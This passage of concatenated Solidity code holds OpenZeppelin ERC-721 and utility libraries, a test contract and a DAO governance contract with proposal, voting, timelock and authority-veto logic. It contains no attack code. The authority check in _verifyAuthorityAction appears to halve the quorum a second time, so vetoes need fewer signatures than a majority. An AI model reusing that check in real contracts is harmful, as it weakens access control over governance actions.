contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { Hashes } from "./Hashes.sol"; contract TestHashes is Hashes(1000000000000000000, 100, 1000, "https://example.com/") { function setNonce(uint256 _nonce) public nonReentrant { nonce = _nonce; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; import { IHashes } from "./IHashes.sol"; import { LibBytes } from "./LibBytes.sol"; import { LibDeactivateAuthority } from "./LibDeactivateAuthority.sol"; import { LibEIP712 } from "./LibEIP712.sol"; import { LibSignature } from "./LibSignature.sol"; import { LibVeto } from "./LibVeto.sol"; import { LibVoteCast } from "./LibVoteCast.sol"; import { MathHelpers } from "./MathHelpers.sol"; import { SafeMath } from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import "./MathHelpers.sol"; /** * @title HashesDAO * @author DEX Labs * @notice This contract handles governance for the HashesDAO and the * Hashes ERC-721 token ecosystem. */ contract HashesDAO is Ownable { using SafeMath for uint256; using MathHelpers for uint256; using LibBytes for bytes; /// @notice name for this Governance apparatus string public constant name = "HashesDAO"; // solhint-disable-line const-name-snakecase /// @notice version for this Governance apparatus string public constant version = "1"; // solhint-disable-line const-name-snakecase // Hashes ERC721 token IHashes hashesToken; // A boolean reflecting whether or not the authority system is still active. bool public authoritiesActive; // The minimum number of votes required for any authority actions. uint256 public quorumAuthorities; // Authority status by address. mapping(address => bool) authorities; // Proposal struct by ID mapping(uint256 => Proposal) proposals; // Latest proposal IDs by proposer address mapping(address => uint128) latestProposalIds; // Whether transaction hash is currently queued mapping(bytes32 => bool) queuedTransactions; // Max number of operations/actions a proposal can have uint32 public immutable proposalMaxOperations; // Number of blocks after a proposal is made that voting begins // (e.g. 1 block) uint32 public immutable votingDelay; // Number of blocks voting will be held // (e.g. 17280 blocks ~ 3 days of blocks) uint32 public immutable votingPeriod; // Time window (s) a successful proposal must be executed, // otherwise will be expired, measured in seconds // (e.g. 1209600 seconds) uint32 public immutable gracePeriod; // Minimum number of for votes required, even if there's a // majority in favor // (e.g. 100 votes) uint32 public immutable quorumVotes; // Minimum Hashes token holdings required to create a proposal // (e.g. 2 votes) uint32 public immutable proposalThreshold; // Time (s) proposals must be queued before executing uint32 public immutable timelockDelay; // Total number of proposals uint128 proposalCount; struct Proposal { bool canceled; bool executed; address proposer; uint32 delay; uint128 id; uint256 eta; uint256 forVotes; uint256 againstVotes; address[] targets; string[] signatures; bytes[] calldatas; uint256[] values; uint256 startBlock; uint256 endBlock; mapping(address => Receipt) receipts; } struct Receipt { bool hasVoted; bool support; uint256 votes; } enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice Emitted when a new proposal is created event ProposalCreated( uint128 indexed id, address indexed proposer, address[] targets, uint256[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, string description ); /// @notice Emitted when a vote has been cast on a proposal event VoteCast(address indexed voter, uint128 indexed proposalId, bool support, uint256 votes); /// @notice Emitted when the authority system is deactivated. event AuthoritiesDeactivated(); /// @notice Emitted when a proposal has been canceled event ProposalCanceled(uint128 indexed id); /// @notice Emitted when a proposal has been executed event ProposalExecuted(uint128 indexed id); /// @notice Emitted when a proposal has been queued event ProposalQueued(uint128 indexed id, uint256 eta); /// @notice Emitted when a proposal has been vetoed event ProposalVetoed(uint128 indexed id, uint256 quorum); /// @notice Emitted when a proposal action has been canceled event CancelTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); /// @notice Emitted when a proposal action has been executed event ExecuteTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); /// @notice Emitted when a proposal action has been queued event QueueTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); /** * @dev Makes functions only accessible when the authority system is still * active. */ modifier onlyAuthoritiesActive() { require(authoritiesActive, "HashesDAO: authorities must be active."); _; } /** * @notice Constructor for the HashesDAO. Initializes the state. * @param _hashesToken The hashes token address. This is the contract that * will be called to check for governance membership. * @param _authorities A list of authorities that are able to veto * governance proposals. Authorities can revoke their status, but * new authorities can never be added. * @param _proposalMaxOperations Max number of operations/actions a * proposal can have * @param _votingDelay Number of blocks after a proposal is made * that voting begins. * @param _votingPeriod Number of blocks voting will be held. * @param _gracePeriod Period in which a successful proposal must be * executed, otherwise will be expired. * @param _timelockDelay Time (s) in which a successful proposal * must be in the queue before it can be executed. * @param _quorumVotes Minimum number of for votes required, even * if there's a majority in favor. * @param _proposalThreshold Minimum Hashes token holdings required * to create a proposal */ constructor( IHashes _hashesToken, address[] memory _authorities, uint32 _proposalMaxOperations, uint32 _votingDelay, uint32 _votingPeriod, uint32 _gracePeriod, uint32 _timelockDelay, uint32 _quorumVotes, uint32 _proposalThreshold ) Ownable() { hashesToken = _hashesToken; // Set initial variable values authoritiesActive = true; quorumAuthorities = _authorities.length / 2 + 1; address lastAuthority; for (uint256 i = 0; i < _authorities.length; i++) { require(lastAuthority < _authorities[i], "HashesDAO: authority addresses should monotonically increase."); lastAuthority = _authorities[i]; authorities[_authorities[i]] = true; } proposalMaxOperations = _proposalMaxOperations; votingDelay = _votingDelay; votingPeriod = _votingPeriod; gracePeriod = _gracePeriod; timelockDelay = _timelockDelay; quorumVotes = _quorumVotes; proposalThreshold = _proposalThreshold; } /* solhint-disable ordering */ receive() external payable { } /** * @notice This function allows participants who have sufficient * Hashes holdings to create new proposals up for vote. The * proposals contain the ordered lists of on-chain * executable calldata. * @param _targets Addresses of contracts involved. * @param _values Values to be passed along with the calls. * @param _signatures Function signatures. * @param _calldatas Calldata passed to the function. * @param _description Text description of proposal. */ function propose( address[] memory _targets, uint256[] memory _values, string[] memory _signatures, bytes[] memory _calldatas, string memory _description ) external returns (uint128) { // Ensure proposer has sufficient token holdings to propose require( hashesToken.getPriorVotes(msg.sender, block.number.sub(1)) >= proposalThreshold, "HashesDAO: proposer votes below proposal threshold." ); require( _targets.length == _values.length && _targets.length == _signatures.length && _targets.length == _calldatas.length, "HashesDAO: proposal function information parity mismatch." ); require(_targets.length != 0, "HashesDAO: must provide actions."); require(_targets.length <= proposalMaxOperations, "HashesDAO: too many actions."); if (latestProposalIds[msg.sender] != 0) { // Ensure proposer doesn't already have one active/pending ProposalState proposersLatestProposalState = state(latestProposalIds[msg.sender]); require( proposersLatestProposalState != ProposalState.Active, "HashesDAO: one live proposal per proposer, found an already active proposal." ); require( proposersLatestProposalState != ProposalState.Pending, "HashesDAO: one live proposal per proposer, found an already pending proposal." ); } // Proposal voting starts votingDelay after proposal is made uint256 startBlock = block.number.add(votingDelay); // Increment count of proposals proposalCount++; Proposal storage newProposal = proposals[proposalCount]; newProposal.id = proposalCount; newProposal.proposer = msg.sender; newProposal.delay = timelockDelay; newProposal.targets = _targets; newProposal.values = _values; newProposal.signatures = _signatures; newProposal.calldatas = _calldatas; newProposal.startBlock = startBlock; newProposal.endBlock = startBlock.add(votingPeriod); // Update proposer's latest proposal latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated( newProposal.id, msg.sender, _targets, _values, _signatures, _calldatas, startBlock, startBlock.add(votingPeriod), _description ); return newProposal.id; } /** * @notice This function allows any participant to queue a * successful proposal for execution. Proposals are deemed * successful if there is a simple majority (and more for * votes than the minimum quorum) at the end of voting. * @param _proposalId Proposal id. */ function queue(uint128 _proposalId) external { // Ensure proposal has succeeded (i.e. the voting period has // ended and there is a simple majority in favor and also above // the quorum require( state(_proposalId) == ProposalState.Succeeded, "HashesDAO: proposal can only be queued if it is succeeded." ); Proposal storage proposal = proposals[_proposalId]; // Establish eta of execution, which is a number of seconds // after queuing at which point proposal can actually execute uint256 eta = block.timestamp.add(proposal.delay); for (uint256 i = 0; i < proposal.targets.length; i++) { // Ensure proposal action is not already in the queue bytes32 txHash = keccak256( abi.encode( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta ) ); require(!queuedTransactions[txHash], "HashesDAO: proposal action already queued at eta."); queuedTransactions[txHash] = true; emit QueueTransaction( txHash, proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta ); } // Set proposal eta timestamp after which it can be executed proposal.eta = eta; emit ProposalQueued(_proposalId, eta); } /** * @notice This function allows any participant to execute a * queued proposal. A proposal in the queue must be in the * queue for the delay period it was proposed with prior to * executing, allowing the community to position itself * accordingly. * @param _proposalId Proposal id. */ function execute(uint128 _proposalId) external payable { // Ensure proposal is queued require( state(_proposalId) == ProposalState.Queued, "HashesDAO: proposal can only be executed if it is queued." ); Proposal storage proposal = proposals[_proposalId]; // Ensure proposal has been in the queue long enough require(block.timestamp >= proposal.eta, "HashesDAO: proposal hasn't finished queue time length."); // Ensure proposal hasn't been in the queue for too long require(block.timestamp <= proposal.eta.add(gracePeriod), "HashesDAO: transaction is stale."); proposal.executed = true; // Loop through each of the actions in the proposal for (uint256 i = 0; i < proposal.targets.length; i++) { bytes32 txHash = keccak256( abi.encode( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ) ); require(queuedTransactions[txHash], "HashesDAO: transaction hasn't been queued."); queuedTransactions[txHash] = false; // Execute action bytes memory callData; require(bytes(proposal.signatures[i]).length != 0, "HashesDAO: Invalid function signature."); callData = abi.encodePacked(bytes4(keccak256(bytes(proposal.signatures[i]))), proposal.calldatas[i]); // solium-disable-next-line security/no-call-value (bool success, ) = proposal.targets[i].call{ value: proposal.values[i] }(callData); require(success, "HashesDAO: transaction execution reverted."); emit ExecuteTransaction( txHash, proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ); } emit ProposalExecuted(_proposalId); } /** * @notice This function allows any participant to cancel any non- * executed proposal. It can be canceled if the proposer's * token holdings has dipped below the proposal threshold * at the time of cancellation. * @param _proposalId Proposal id. */ function cancel(uint128 _proposalId) external { ProposalState proposalState = state(_proposalId); // Ensure proposal hasn't executed require(proposalState != ProposalState.Executed, "HashesDAO: cannot cancel executed proposal."); Proposal storage proposal = proposals[_proposalId]; // Ensure proposer's token holdings has dipped below the // proposer threshold, leaving their proposal subject to // cancellation require( hashesToken.getPriorVotes(proposal.proposer, block.number.sub(1)) < proposalThreshold, "HashesDAO: proposer above threshold." ); proposal.canceled = true; // Loop through each of the proposal's actions for (uint256 i = 0; i < proposal.targets.length; i++) { bytes32 txHash = keccak256( abi.encode( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ) ); queuedTransactions[txHash] = false; emit CancelTransaction( txHash, proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ); } emit ProposalCanceled(_proposalId); } /** * @notice This function allows participants to cast either in * favor or against a particular proposal. * @param _proposalId Proposal id. * @param _support In favor (true) or against (false). * @param _deactivate Deactivate tokens (true) or don't (false). * @param _deactivateSignature The signature to use when deactivating tokens. */ function castVote(uint128 _proposalId, bool _support, bool _deactivate, bytes memory _deactivateSignature) external { return _castVote(msg.sender, _proposalId, _support, _deactivate, _deactivateSignature); } /** * @notice This function allows participants to cast votes with * offline signatures in favor or against a particular * proposal. * @param _proposalId Proposal id. * @param _support In favor (true) or against (false). * @param _deactivate Deactivate tokens (true) or don't (false). * @param _deactivateSignature The signature to use when deactivating tokens. * @param _signature Signature */ function castVoteBySig( uint128 _proposalId, bool _support, bool _deactivate, bytes memory _deactivateSignature, bytes memory _signature ) external { // EIP712 hashing logic bytes32 eip712DomainHash = LibEIP712.hashEIP712Domain(name, version, getChainId(), address(this)); bytes32 voteCastHash = LibVoteCast.getVoteCastHash( LibVoteCast.VoteCast({ proposalId: _proposalId, support: _support, deactivate: _deactivate }), eip712DomainHash ); // Recover the signature and EIP712 hash address recovered = LibSignature.getSignerOfHash(voteCastHash, _signature); // Cast the vote and return the result return _castVote(recovered, _proposalId, _support, _deactivate, _deactivateSignature); } /** * @notice Allows the authorities to veto a proposal. * @param _proposalId The ID of the proposal to veto. * @param _signatures The signatures of the authorities. */ function veto(uint128 _proposalId, bytes[] memory _signatures) external onlyAuthoritiesActive { ProposalState proposalState = state(_proposalId); // Ensure proposal hasn't executed require(proposalState != ProposalState.Executed, "HashesDAO: cannot cancel executed proposal."); Proposal storage proposal = proposals[_proposalId]; // Ensure that a sufficient amount of authorities have signed to veto // this proposal. bytes32 eip712DomainHash = LibEIP712.hashEIP712Domain(name, version, getChainId(), address(this)); bytes32 vetoHash = LibVeto.getVetoHash( LibVeto.Veto({ proposalId: _proposalId }), eip712DomainHash ); _verifyAuthorityAction(vetoHash, _signatures); // Cancel the proposal. proposal.canceled = true; // Loop through each of the proposal's actions for (uint256 i = 0; i < proposal.targets.length; i++) { bytes32 txHash = keccak256( abi.encode( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ) ); queuedTransactions[txHash] = false; emit CancelTransaction( txHash, proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ); } emit ProposalVetoed(_proposalId, _signatures.length); } /** * @notice Allows a quorum of authorities to deactivate the authority * system. This operation can only be performed once and will * prevent all future actions undertaken by the authorities. * @param _signatures The authority signatures to use to deactivate. * @param _authorities A list of authorities to delete. This isn't * security-critical, but it allows the state to be cleaned up. */ function deactivateAuthorities(bytes[] memory _signatures, address[] memory _authorities) external onlyAuthoritiesActive { // Ensure that a sufficient amount of authorities have signed to // deactivate the authority system. bytes32 eip712DomainHash = LibEIP712.hashEIP712Domain(name, version, getChainId(), address(this)); bytes32 deactivateHash = LibDeactivateAuthority.getDeactivateAuthorityHash( LibDeactivateAuthority.DeactivateAuthority({ support: true }), eip712DomainHash ); _verifyAuthorityAction(deactivateHash, _signatures); // Deactivate the authority system. authoritiesActive = false; quorumAuthorities = 0; for (uint256 i = 0; i < _authorities.length; i++) { authorities[_authorities[i]] = false; } emit AuthoritiesDeactivated(); } /** * @notice This function allows any participant to retrieve * the actions involved in a given proposal. * @param _proposalId Proposal id. * @return targets Addresses of contracts involved. * @return values Values to be passed along with the calls. * @return signatures Function signatures. * @return calldatas Calldata passed to the function. */ function getActions(uint128 _proposalId) external view returns ( address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas ) { Proposal storage p = proposals[_proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } /** * @notice This function allows any participant to retrieve the authority * status of an arbitrary address. * @param _authority The address to check. * @return The authority status of the address. */ function getAuthorityStatus(address _authority) external view returns (bool) { return authorities[_authority]; } /** * @notice This function allows any participant to retrieve * the receipt for a given proposal and voter. * @param _proposalId Proposal id. * @param _voter Voter address. * @return Voter receipt. */ function getReceipt(uint128 _proposalId, address _voter) external view returns (Receipt memory) { return proposals[_proposalId].receipts[_voter]; } /** * @notice This function gets a proposal from an ID. * @param _proposalId Proposal id. * @return Proposal attributes. */ function getProposal(uint128 _proposalId) external view returns ( bool, bool, address, uint32, uint128, uint256, uint256, uint256, uint256, uint256 ) { Proposal storage proposal = proposals[_proposalId]; return ( proposal.canceled, proposal.executed, proposal.proposer, proposal.delay, proposal.id, proposal.forVotes, proposal.againstVotes, proposal.eta, proposal.startBlock, proposal.endBlock ); } /** * @notice This function gets whether a proposal action transaction * hash is queued or not. * @param _txHash Proposal action tx hash. * @return Is proposal action transaction hash queued or not. */ function getIsQueuedTransaction(bytes32 _txHash) external view returns (bool) { return queuedTransactions[_txHash]; } /** * @notice This function gets the proposal count. * @return Proposal count. */ function getProposalCount() external view returns (uint128) { return proposalCount; } /** * @notice This function gets the latest proposal ID for a user. * @param _proposer Proposer's address. * @return Proposal ID. */ function getLatestProposalId(address _proposer) external view returns (uint128) { return latestProposalIds[_proposer]; } /** * @notice This function retrieves the status for any given * proposal. * @param _proposalId Proposal id. * @return Status of proposal. */ function state(uint128 _proposalId) public view returns (ProposalState) { require(proposalCount >= _proposalId && _proposalId > 0, "HashesDAO: invalid proposal id."); Proposal storage proposal = proposals[_proposalId]; // Note the 3rd conditional where we can escape out of the vote // phase if the for or against votes exceeds the skip remaining // voting threshold if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= proposal.eta.add(gracePeriod)) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function _castVote( address _voter, uint128 _proposalId, bool _support, bool _deactivate, bytes memory _deactivateSignature ) internal { // Sanity check the input. require(!(_support && _deactivate), "HashesDAO: can't support and deactivate simultaneously."); require(state(_proposalId) == ProposalState.Active, "HashesDAO: voting is closed."); Proposal storage proposal = proposals[_proposalId]; Receipt storage receipt = proposal.receipts[_voter]; // Ensure voter has not already voted require(!receipt.hasVoted, "HashesDAO: voter already voted."); // Obtain the token holdings (voting power) for participant at // the time voting started. They may have gained or lost tokens // since then, doesn't matter. uint256 votes = hashesToken.getPriorVotes(_voter, proposal.startBlock); // Ensure voter has nonzero voting power require(votes > 0, "HashesDAO: voter has no voting power."); if (_support) { // Increment the for votes in favor proposal.forVotes = proposal.forVotes.add(votes); } else { // Increment the against votes proposal.againstVotes = proposal.againstVotes.add(votes); } // Set receipt attributes based on cast vote parameters receipt.hasVoted = true; receipt.support = _support; receipt.votes = votes; // If necessary, deactivate the voter's hashes tokens. if (_deactivate) { uint256 deactivationCount = hashesToken.deactivateTokens(_voter, _proposalId, _deactivateSignature); if (deactivationCount > 0) { // Transfer the voter the activation fee for each of the deactivated tokens. (bool sent,) = _voter.call{value: hashesToken.activationFee().mul(deactivationCount)}(""); require(sent, "Hashes: couldn't re-pay the token owner after deactivating hashes."); } } emit VoteCast(_voter, _proposalId, _support, votes); } /** * @dev Verifies a submission from authorities. In particular, this * validates signatures, authorization status, and quorum. * @param _hash The message hash to use during recovery. * @param _signatures The authority signatures to verify. */ function _verifyAuthorityAction(bytes32 _hash, bytes[] memory _signatures) internal view { address lastAddress; for (uint256 i = 0; i < _signatures.length; i++) { address recovered = LibSignature.getSignerOfHash(_hash, _signatures[i]); require(lastAddress < recovered, "HashesDAO: recovered addresses should monotonically increase."); require(authorities[recovered], "HashesDAO: recovered addresses should be authorities."); lastAddress = recovered; } require(_signatures.length >= quorumAuthorities / 2 + 1, "HashesDAO: veto quorum was not reached."); } function getChainId() internal view returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // SPDX-License-Identifier: MIT /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.8.6; library LibBytes { using LibBytes for bytes; /// @dev Gets the memory address for a byte array. /// @param input Byte array to lookup. /// @return memoryAddress Memory address of byte array. This /// points to the header of the byte array which contains /// the length. function rawAddress(bytes memory input) internal pure returns (uint256 memoryAddress) { assembly { memoryAddress := input } return memoryAddress; } /// @dev Gets the memory address for the contents of a byte array. /// @param input Byte array to lookup. /// @return memoryAddress Memory address of the contents of the byte array. function contentAddress(bytes memory input) internal pure returns (uint256 memoryAddress) { assembly { memoryAddress := add(input, 32) } return memoryAddress; } /// @dev Copies `length` bytes from memory location `source` to `dest`. /// @param dest memory address to copy bytes to. /// @param source memory address to copy bytes from. /// @param length number of bytes to copy. function memCopy( uint256 dest, uint256 source, uint256 length ) internal pure { if (length < 32) { // Handle a partial word by reading destination and masking // off the bits we are interested in. // This correctly handles overlap, zero lengths and source == dest assembly { let mask := sub(exp(256, sub(32, length)), 1) let s := and(mload(source), not(mask)) let d := and(mload(dest), mask) mstore(dest, or(s, d)) } } else { // Skip the O(length) loop when source == dest. if (source == dest) { return; } // For large copies we copy whole words at a time. The final // word is aligned to the end of the range (instead of after the // previous) to handle partial words. So a copy will look like this: // // #### // #### // #### // #### // // We handle overlap in the source and destination range by // changing the copying direction. This prevents us from // overwriting parts of source that we still need to copy. // // This correctly handles source == dest // if (source > dest) { assembly { // We subtract 32 from `sEnd` and `dEnd` because it // is easier to compare with in the loop, and these // are also the addresses we need for copying the // last bytes. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the last 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the last bytes in // source already due to overlap. let last := mload(sEnd) // Copy whole words front to back // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for { } lt(source, sEnd) { } { mstore(dest, mload(source)) source := add(source, 32) dest := add(dest, 32) } // Write the last 32 bytes mstore(dEnd, last) } } else { assembly { // We subtract 32 from `sEnd` and `dEnd` because those // are the starting points when copying a word at the end. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the first 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the first bytes in // source already due 